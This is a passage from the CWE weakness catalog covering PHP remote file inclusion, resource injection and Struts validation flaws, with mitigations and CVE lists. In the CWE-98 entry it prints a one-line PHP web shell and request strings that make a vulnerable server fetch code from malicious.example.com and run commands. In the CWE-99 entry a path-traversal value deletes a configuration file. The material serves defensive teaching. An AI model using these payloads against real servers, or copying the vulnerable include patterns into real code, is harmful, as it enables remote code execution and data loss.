<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
</tbody>
</table>

Relationship Notes
This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side.

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>36</td>
<td>Server-Side Includes (SSI) Injection</td>
</tr>
<tr>
<td>WASC</td>
<td>36</td>
<td>SSI Injection</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>35</td>
<td>Leverage Executable Code in Non-Executable Files</td>
</tr>
<tr>
<td>101</td>
<td>Server Side Include (SSI) Injection</td>
</tr>
</tbody>
</table>

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

<table>
<thead>
<tr>
<th>Weakness ID: 98 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description
In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

Alternate Terms
Remote file include
RFI
The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion
This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker’s control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

Time of Introduction
- Implementation
- Architecture and Design

Applicable Platforms
Languages
- PHP (Often)

Common Consequences
Integrity
Confidentiality
Availability
Execute unauthorized code or commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.
Likelihood of Exploit
High to Very High

Detection Methods
Manual Analysis
High
Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Automated Static Analysis
The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

Demonstrative Examples
The following code attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied ‘module_name’ parameter and appending the string ‘/function.php’ to it.

PHP Example:

```php
$dir = $_GET['module_name'];
include($dir . "function.php");
```

The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the ‘module_name’ parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a ‘module_name’ of "http://malicious.example.com" by using the following request string:

```
victim.php?module_name=http://malicious.example.com
```

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

```php
system($_GET['cmd']);
```

An attacker could now go a step further in our example and provide a request string as follows:

```
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
```

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:

```
/bin/ls -l
```

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1704</td>
<td>PHP remote file include.</td>
</tr>
<tr>
<td>CVE-2002-1707</td>
<td>PHP remote file include.</td>
</tr>
<tr>
<td>CVE-2004-0030</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-0068</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2004-0127</td>
<td>Directory traversal vulnerability in PHP include statement.</td>
</tr>
<tr>
<td>CVE-2004-0128</td>
<td>Modification of assumed-immutable variable in configuration script leads to file inclusion.</td>
</tr>
<tr>
<td>CVE-2004-0285</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2005-1681</td>
<td>PHP remote file include.</td>
</tr>
<tr>
<td>CVE-2005-1864</td>
<td>PHP file inclusion.</td>
</tr>
<tr>
<td>CVE-2005-1869</td>
<td>PHP file inclusion.</td>
</tr>
<tr>
<td>CVE-2005-1870</td>
<td>PHP file inclusion.</td>
</tr>
<tr>
<td>CVE-2005-1964</td>
<td>PHP remote file include.</td>
</tr>
<tr>
<td>CVE-2005-2086</td>
<td>PHP remote file include.</td>
</tr>
<tr>
<td>CVE-2005-2154</td>
<td>PHP local file inclusion.</td>
</tr>
<tr>
<td>CVE-2005-2157</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2005-2162</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2005-2198</td>
<td>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</td>
</tr>
<tr>
<td>CVE-2005-3335</td>
<td>PHP file inclusion issue, both remote and local; local include uses &quot;..&quot; and &quot;%00&quot; characters as a manipulation, but many remote file inclusion issues probably have this vector.</td>
</tr>
<tr>
<td>CVE-2009-1936</td>
<td>chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Architecture and Design
Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.98.1] provide this capability.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.
The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.98.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "/..//" sequences are removed from the "//...//" string in a sequential fashion, two instances of "/..//" would be removed from the original string, but the remaining characters would still form the "/..//" string.
CWE Version 2.11
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Architecture and Design

Operation
Identify and Reduce Attack Surface
Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Architecture and Design

Implementation
Identify and Reduce Attack Surface
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Operation

Firewall
Moderate
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth. An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Operation

Implementation

Environment Hardening
Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Operation

Implementation

Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues. Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

**Operation**

**Environment Hardening**

**High**

Set allow_url_fopen to false, which limits the ability to include files from remote locations. Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>V</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
<td>699</td>
<td>173</td>
<td></td>
</tr>
<tr>
<td>PeerOf</td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
<td>1000</td>
<td>411</td>
<td></td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>426</td>
<td>Untrusted Search Path</td>
<td>1000</td>
<td>731</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631</td>
<td>983</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
<td>1000</td>
<td>1109</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>714</td>
<td>OWASP Top Ten 2007 Category A3 - Malicious File Execution</td>
<td>629</td>
<td>1115</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>727</td>
<td>OWASP Top Ten 2004 Category A6 - Injection Flaws</td>
<td>711</td>
<td>1121</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>802</td>
<td>2010 Top 25 - Risky Resource Management</td>
<td>800</td>
<td>1232</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
<td>699</td>
<td>1266</td>
<td></td>
</tr>
</tbody>
</table>

**Relationship Notes**

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.

Can overlap directory traversal in local inclusion problems.

**Research Gaps**

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

**Affected Resources**

- File/Directory

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>PHP File Include</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A3</td>
<td>CWE More Specific</td>
<td></td>
</tr>
<tr>
<td>WASC</td>
<td>5</td>
<td>Remote File Inclusion</td>
<td></td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>193</td>
<td>PHP Remote File Inclusion</td>
<td></td>
</tr>
</tbody>
</table>

**References**


CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID: 99 (Weakness Base) Status: Draft

Description

Summary
The software receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.

Extended Description
A resource injection issue occurs when the following two conditions are met:

An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.

By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server. This may enable an attacker to access or modify otherwise protected system resources.

Alternate Terms
Insecure Direct Object Reference

OWASP uses this term, although it is effectively the same as resource injection.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Confidentiality
Integrity
Read application data
Modify application data
Read files or directories
Modify files or directories

An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:
The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

Java Example:

```java
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
```
... 
 rFile.delete();

Example 2:
The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

C++ Example:

```cpp
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;
```

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

Potential Mitigations

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Other Notes

A resource injection issue occurs when the following two conditions are met:

An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.

By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

Note: Resource injection that involves resources stored on the filesystem goes by the name path manipulation and is reported in a separate category. See the path manipulation description for further details of this vulnerability.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>73</td>
<td>External Control of File Name or Path</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>813</td>
<td>OWASP Top Ten 2010 Category A4 - Insecure Direct Object References</td>
<td>809</td>
</tr>
</tbody>
</table>
Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

**Causal Nature**  
Explicit (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Resource Injection</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>10</td>
<td>Buffer Overflow via Environment Variables</td>
</tr>
<tr>
<td>75</td>
<td>Manipulating Writeable Configuration Files</td>
</tr>
<tr>
<td>240</td>
<td>Resource Injection</td>
</tr>
</tbody>
</table>

**White Box Definitions**

A weakness where the code path has:
1. start statement that accepts input followed by
2. a statement that allocates a System Resource using name where the input is part of the name
3. end statement that accesses the System Resource where
   a. the name of the System Resource violates protection

**Maintenance Notes**

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.
Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>112</td>
<td>Missing XML Validation</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>554</td>
<td>ASP.NET Misconfiguration: Not Using Input Validation Framework</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>618</td>
<td>Exposed Unsafe ActiveX Method</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Technology-Specific Special Elements</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>109</td>
<td>Object Relational Mapping Injection</td>
</tr>
<tr>
<td>228</td>
<td>DTD Injection</td>
</tr>
</tbody>
</table>

CWE-101: Struts Validation Problems

Category ID: 101 (Category) Status: Incomplete

Description

Summary
Weaknesses in this category are caused by inadequately implemented protection mechanisms that use the STRUTS framework.

Applicable Platforms

Languages
- Java

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>100</td>
<td>Technology-Specific Input Validation Problems</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>102</td>
<td>Struts: Duplicate Validation Forms</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>103</td>
<td>Struts: Incomplete validate() Method Definition</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>104</td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>105</td>
<td>Struts: Form Field Without Validator</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>106</td>
<td>Struts: Plug-in Framework not in Use</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>107</td>
<td>Struts: Unused Validation Form</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>108</td>
<td>Struts: Unvalidated Action Form</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>109</td>
<td>Struts: Validator Turned Off</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>110</td>
<td>Struts: Validator Without Form Field</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>608</td>
<td>Struts: Non-private Field in ActionForm Class</td>
<td>699</td>
</tr>
</tbody>
</table>

CWE-102: Struts: Duplicate Validation Forms

Weakness ID: 102 (Weakness Variant) Status: Incomplete

Description

Summary
The application uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

Extended Description
If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that
the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- Java

**Common Consequences**

**Integrity**

**Unexpected state**

**Demonstrative Examples**

Two validation forms with the same name.

**XML Example:**

```xml
<form-validation>
<formset>
    <form name="ProjectForm"> ... </form>
    <form name="ProjectForm"> ... </form>
</formset>
</form-validation>
```

It is critically important that validation logic be maintained and kept in sync with the rest of the application.

**Potential Mitigations**

**Implementation**

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>694</td>
<td>Use of Multiple Resources with Duplicate Identifier</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td>🟢</td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Causal Nature**

**Explicit** *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Struts: Duplicate Validation Forms</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

**CWE-103: Struts: Incomplete validate() Method Definition**

**Weakness ID:** 103 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The application has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().

**Extended Description**
If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- Languages
  - Java

**Common Consequences**
- Other
- Other

Disabling the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.

**Confidentiality**

**Integrity**

**Availability**

**Other**

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Demonstrative Examples**

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the RegistrationForm bean in the Struts framework will maintain the user data. The RegistrationForm class implements the validate method to validate the user input entered into the form.

**Java Example:**

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {

  // private variables for registration form
  private String name;
  private String email;
  ...

  public RegistrationForm() {
    super();
  }

  public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
    ActionErrors errors = new ActionErrors();
    if (getName() == null || getName().length() < 1) {
      errors.add("name", new ActionMessage("error.name.required"));
    }
    return errors;
  }

  // getter and setter methods for private variables
  ...
}
```

Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call super.validate(). Without the call to the parent validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.

**Java Example:**

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {

  // private variables for registration form
  private String name;

  public RegistrationForm() {
    super();
  }

  public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
    ActionErrors errors = new ActionErrors();
    if (getName() == null || getName().length() < 1) {
      errors.add("name", new ActionMessage("error.name.required"));
    }
    return errors;
  }

  // getter and setter methods for private variables
  ...
}
```
private String email;
...

public RegistrationForm() {
    super();
}

public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
    ActionErrors errors = super.validate(mapping, request);
    if (errors == null) {
        errors = new ActionErrors();
    }
    if (getName() == null || getName().length() < 1) {
        errors.add("name", new ActionMessage("error.name.required"));
    }
    return errors;

    // getter and setter methods for private variables

    ...

Potential Mitigations

Implementation

Implement the validate() method and call super.validate() within that method.

Background Details

The Struts Validator uses a form's validate() method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a validate() method that is part of the validation framework: ValidatorForm, ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If you create a class that extends one of these classes, and if your class implements custom validation logic by overriding the validate() method, you must call super.validate() in your validate() implementation.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>101</td>
<td>Struts Validation Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes

This could introduce other weaknesses related to missing input validation.

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Struts: Erroneous validate() Method</td>
</tr>
<tr>
